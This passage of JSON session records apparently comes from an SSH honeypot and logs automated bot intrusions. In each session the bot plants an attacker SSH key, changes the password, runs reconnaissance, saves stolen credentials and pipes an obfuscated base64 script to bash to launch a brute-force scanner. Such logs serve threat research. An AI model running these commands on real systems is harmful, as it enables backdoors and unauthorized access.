.ssh; lockr -ia .ssh","started_at":"2026-08-23T17:10:10.486640+00:00","ended_at":"2026-08-23T17:10:10.586345+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3592,"events":[{"seq":1,"at":"2026-08-23T17:09:42.151384+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T17:09:42.500089+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T17:09:47.524264+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T17:09:47.526201+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T17:09:47.872271+00:00","kind":"input","latency_ms":null,"data":"echo -e \"adminweb\\n8jB61yyYS0XU\\n8jB61yyYS0XU\"|passwd|bash"},{"seq":6,"at":"2026-08-23T17:09:48.217231+00:00","kind":"input","latency_ms":null,"data":"echo \"adminweb\\n8jB61yyYS0XU\\n8jB61yyYS0XU\\n\"|passwd"},{"seq":7,"at":"2026-08-23T17:09:48.562418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T17:09:48.566516+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T17:09:48.914564+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T17:09:49.609091+00:00","kind":"output","latency_ms":700,"data":" total used free shared buff/cache available\nMem: 15888 3721 9321 87 2845 11645"},{"seq":11,"at":"2026-08-23T17:09:49.960286+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T17:09:50.562822+00:00","kind":"output","latency_ms":605,"data":"-rwxr-xr-x 1 root root 151K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T17:09:50.912410+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T17:09:50.915549+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T17:09:51.261115+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T17:09:51.264305+00:00","kind":"output","latency_ms":null,"data":" 17:09:51 up 3 days, 13:59, 0 user, load average: 0.17, 0.13, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T17:09:51.611088+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T17:09:51.612843+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T17:09:51.959076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T17:09:51.971368+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T17:09:52.305467+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T17:09:52.308378+00:00","kind":"output","latency_ms":null,"data":"top - 17:09:52 up 3 days, 13:59, 0 user, load average: 0.17, 0.13, 0.11\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T17:09:52.658792+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T17:09:52.662068+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T17:09:53.006857+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T17:09:53.009066+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T17:09:53.358289+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T17:09:53.361068+00:00","kind":"output","latency_ms":null,"data":"adminweb"},{"seq":29,"at":"2026-08-23T17:09:53.711294+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T17:09:54.264296+00:00","kind":"output","latency_ms":554,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T17:09:54.818217+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T17:09:55.277354+00:00","kind":"output","latency_ms":461,"data":"24G"},{"seq":33,"at":"2026-08-23T17:09:56.564255+00:00","kind":"input","latency_ms":null,"data":"echo \"adminweb adminweb\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T17:09:56.913074+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T17:09:57.390616+00:00","kind":"output","latency_ms":478,"data":""},{"seq":36,"at":"2026-08-23T17:09:58.119235+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T17:09:58.645137+00:00","kind":"output","latency_ms":528,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T17:09:58.995075+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T17:09:59.498827+00:00","kind":"output","latency_ms":505,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T17:09:59.855317+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T17:10:00.203932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T17:10:00.675282+00:00","kind":"output","latency_ms":479,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T17:10:01.025485+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T17:10:01.523567+00:00","kind":"output","latency_ms":501,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T17:10:01.875102+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T17:10:02.310156+00:00","kind":"output","latency_ms":437,"data":""},{"seq":47,"at":"2026-08-23T17:10:10.488388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T17:10:10.490406+00:00","kind":"output","latency_ms":null,"data":"adminweb"}],"credentials":[{"username":"adminweb","password":"adminweb","method":"password","accepted":true,"tier":"other"}]} {"id":"4b4a7481-28dd-4636-926d-88ae6ce51d5c","name":"wandering-forlorn-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.235.9","src_port":50700,"username":"gbase","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":247,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T17:07:09.255602+00:00","ended_at":"2026-08-23T17:07:10.091833+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3928,"events":[{"seq":1,"at":"2026-08-23T17:06:52.063091+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T17:06:52.309380+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T17:06:56.703654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T17:06:56.705561+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T17:06:56.955232+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n72FKXYvlkz4N\\n72FKXYvlkz4N\"|passwd|bash"},{"seq":6,"at":"2026-08-23T17:06:57.203414+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n72FKXYvlkz4N\\n72FKXYvlkz4N\\n\"|passwd"},{"seq":7,"at":"2026-08-23T17:06:57.450044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T17:06:57.451746+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T17:06:57.698310+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T17:06:58.372323+00:00","kind":"output","latency_ms":670,"data":"15888 3124 12764 108 0 0"},{"seq":11,"at":"2026-08-23T17:06:58.621109+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T17:06:59.434021+00:00","kind":"output","latency_ms":815,"data":"-rwxr-xr-x 1 root root 148K Apr 15 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T17:06:59.682649+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T17:06:59.685346+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T17:06:59.932741+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T17:06:59.936323+00:00","kind":"output","latency_ms":null,"data":" 17:06:59 up 3 days, 13:57, 0 user, load average: 0.18, 0.15, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T17:07:00.182055+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T17:07:00.184884+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T17:07:00.431350+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T17:07:00.434064+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T17:07:00.680063+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T17:07:00.683045+00:00","kind":"output","latency_ms":null,"data":"top - 17:07:00 up 3 days, 13:57, 0 user, load average: 0.18, 0.15, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T17:07:00.930365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T17:07:00.934716+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T17:07:01.179547+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T17:07:01.182250+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T17:07:01.430096+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T17:07:01.433090+00:00","kind":"output","latency_ms":null,"data":"gbase"},{"seq":29,"at":"2026-08-23T17:07:01.679909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T17:07:02.833908+00:00","kind":"output","latency_ms":1155,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T17:07:03.081591+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T17:07:03.574452+00:00","kind":"output","latency_ms":493,"data":"26G"},{"seq":33,"at":"2026-08-23T17:07:04.383403+00:00","kind":"input","latency_ms":null,"data":"echo \"gbase 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T17:07:04.629667+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T17:07:05.206117+00:00","kind":"output","latency_ms":576,"data":""},{"seq":36,"at":"2026-08-23T17:07:05.479431+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T17:07:06.271636+00:00","kind":"output","latency_ms":797,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T17:07:06.523062+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T17:07:07.158272+00:00","kind":"output","latency_ms":634,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T17:07:07.409367+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T17:07:07.657089+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T17:07:08.271656+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T17:07:08.522472+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T17:07:09.009138+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T17:07:09.258509+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T17:07:09.671168+00:00","kind":"output","latency_ms":412,"data":""}],"credentials":[{"username":"gbase","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"15b8cc85-2e01-49d5-8d23-197de278f1b5","name":"inland-ashen-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"4.224.40.94","src_port":58494,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":617,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T16:13:55.703155+00:00","ended_at":"2026-08-23T16:13:55.895998+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3943,"events":[{"seq":1,"at":"2026-08-23T16:13:18.783114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T16:13:19.400423+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T16:13:25.037373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T16:13:25.039438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T16:13:25.651915+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\njS84p5RMwCdH\\njS84p5RMwCdH\"|passwd|bash"},{"seq":6,"at":"2026-08-23T16:13:26.262816+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\njS84p5RMwCdH\\njS84p5RMwCdH\\n\"|passwd"},{"seq":7,"at":"2026-08-23T16:13:26.878656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T16:13:26.879261+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T16:13:27.490286+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T16:13:28.034994+00:00","kind":"output","latency_ms":544,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-23T16:13:28.657575+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T16:13:29.484129+00:00","kind":"output","latency_ms":825,"data":"-rwxr-xr-x 1 root root 133K Jan 17 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T16:13:30.105899+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T16:13:30.107247+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T16:13:30.738690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T16:13:30.739234+00:00","kind":"output","latency_ms":null,"data":" 16:13:30 up 3 days, 13:03, 0 user, load average: 0.02, 0.02, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T16:13:31.351210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T16:13:31.353267+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T16:13:31.966065+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T16:13:31.966486+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T16:13:32.579131+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T16:13:32.581069+00:00","kind":"output","latency_ms":null,"data":"top - 16:13:32 up 3 days, 13:03, 0 user, load average: 0.02, 0.02, 0.01\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T16:13:33.191022+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T16:13:33.192560+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T16:13:33.803187+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T16:13:33.805205+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T16:13:34.418088+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T16:13:34.420307+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":29,"at":"2026-08-23T16:13:35.032075+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T16:13:35.904704+00:00","kind":"output","latency_ms":872,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T16:13:36.523371+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T16:13:36.976205+00:00","kind":"output","latency_ms":455,"data":"24G"},{"seq":33,"at":"2026-08-23T16:13:38.892697+00:00","kind":"input","latency_ms":null,"data":"echo \"mailuser 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T16:13:39.507303+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T16:13:40.352713+00:00","kind":"output","latency_ms":845,"data":""},{"seq":36,"at":"2026-08-23T16:13:41.688552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T16:13:42.376151+00:00","kind":"output","latency_ms":685,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T16:13:42.995399+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T16:13:43.441500+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T16:13:44.062456+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T16:13:44.676060+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T16:13:45.178578+00:00","kind":"output","latency_ms":503,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T16:13:45.801703+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T16:13:46.425173+00:00","kind":"output","latency_ms":622,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T16:13:47.042088+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 